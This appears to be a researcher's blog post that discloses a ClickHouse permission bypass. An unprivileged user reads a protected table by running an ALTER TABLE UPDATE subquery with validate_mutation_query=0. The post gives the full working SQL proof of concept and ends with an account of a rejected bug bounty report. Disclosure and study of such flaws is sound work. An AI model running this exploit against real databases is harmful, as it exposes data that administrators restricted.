ClickHouse is a SQL database optimized for analyzing large datasets. Like PostgreSQL, it has a permissions system that allows administrators to control which tables each role can read. These permissions are enforced for ordinary SELECT queries, but a trivial bypass allows an unprivileged user to evade the same checks in a subquery inside an UPDATE.

How does it work?

Let’s create database with top_secret to which low privileged user doesn’t have access:

CREATE DATABASE secure;

CREATE TABLE secure.secret_tbl (top_secret String) ENGINE = MergeTree ORDER BY tuple();

INSERT INTO secure.secret_tbl VALUES ('TOP-SECRET-VALUE');Let’s create a separate database and give write access to it to an unprivileged user:

CREATE DATABASE work;

GRANT CREATE TABLE, INSERT, SELECT, ALTER UPDATE ON work.* TO analystIn theory the low privilege user shouldn’t be able to read TOP-SECRET-VALUE. However, this will just run the subquery with full permissions:

CREATE TABLE work.t (leaked_secret String) ENGINE = MergeTree ORDER BY tuple();

INSERT INTO work.t VALUES ('x');

ALTER TABLE work.t

UPDATE leaked_secret = (SELECT groupArray(top_secret) FROM secure.secret_tbl)

WHERE 1

SETTINGS validate_mutation_query = 0, mutations_sync = 2;

SELECT leaked_secret FROM work.t;

But why is this possible?

Mutations happen in the background without any user credentials attached running with full database access. Clickhouse instead attempts to validate the subquery on submission time. However, it’s possible to just disable this check!

Any unprivileged users can do it by setting validate_mutation_query=0. This does not require any misconfiguration by the administrator. The only permission they need is UPDATE access to some table. (mutations_sync=2 is not important here, it just ensures that Clickhouse waits for the update to complete before returning.)

I think this particular issue was introduced in Clickhouse 26 and didn’t yet exist in Clickhouse 25. Even in the older versions, I think there might be similar issues, related to the fact that all mutations run as a fully privileged user.

Appendix: disclosure story

You can ask why I haven’t reported it to Clickhouse, instead of writing the next blog post. Actually I tried - I have submitted this to their disclosure program, but they rejected it twice.

The answer for my first attempt where I attached below description together with working script:

Their response:

For second attempt I added:

- more details to the description

- the recording from my terminal with commentary

but I got asked to refrain from resubmission and Bugcrowd gave me negative points.

I was confused, in the Status they again added information instructing about third resubmission if I have additional repro.

I decided to refrain from third resubmission as jsat_bugcrowd commented.